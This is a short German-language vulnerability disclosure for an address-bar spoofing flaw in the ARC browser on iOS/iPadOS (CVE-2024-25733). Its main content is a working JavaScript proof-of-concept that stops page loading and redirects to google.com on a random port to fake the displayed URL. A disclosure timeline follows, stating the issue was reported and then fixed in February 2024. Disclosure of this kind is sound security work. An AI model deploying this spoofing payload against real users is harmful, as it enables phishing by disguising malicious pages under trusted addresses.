ARC Browser Adressleisten-Spoofing - iOS/iPadOS (CVE-2024-25733)

ARC Browser Adressleisten-Spoofing PoC - iOS/iPadOS

Exploit-PoC (Proof of Concept)

<script>
    function spoof() {
        setTimeout(() => {
            window.stop();
            let randomPort;
            do {
                randomPort = Math.floor(Math.random() * 1000);
            } while (randomPort === 0 || randomPort === 443);
            document.location = "https://google.com:" + randomPort + "/";
        }, 300);
    }
    spoof();
</script>

DEMO

PoC.mp4

Zeitleiste

• 2024-01-25 : Schwachstelle an The Browser Company of New York gemeldet
• 2024-01-25 : Als Sicherheitslücke anerkannt
• 2024-02-13 : Im neuesten Release behoben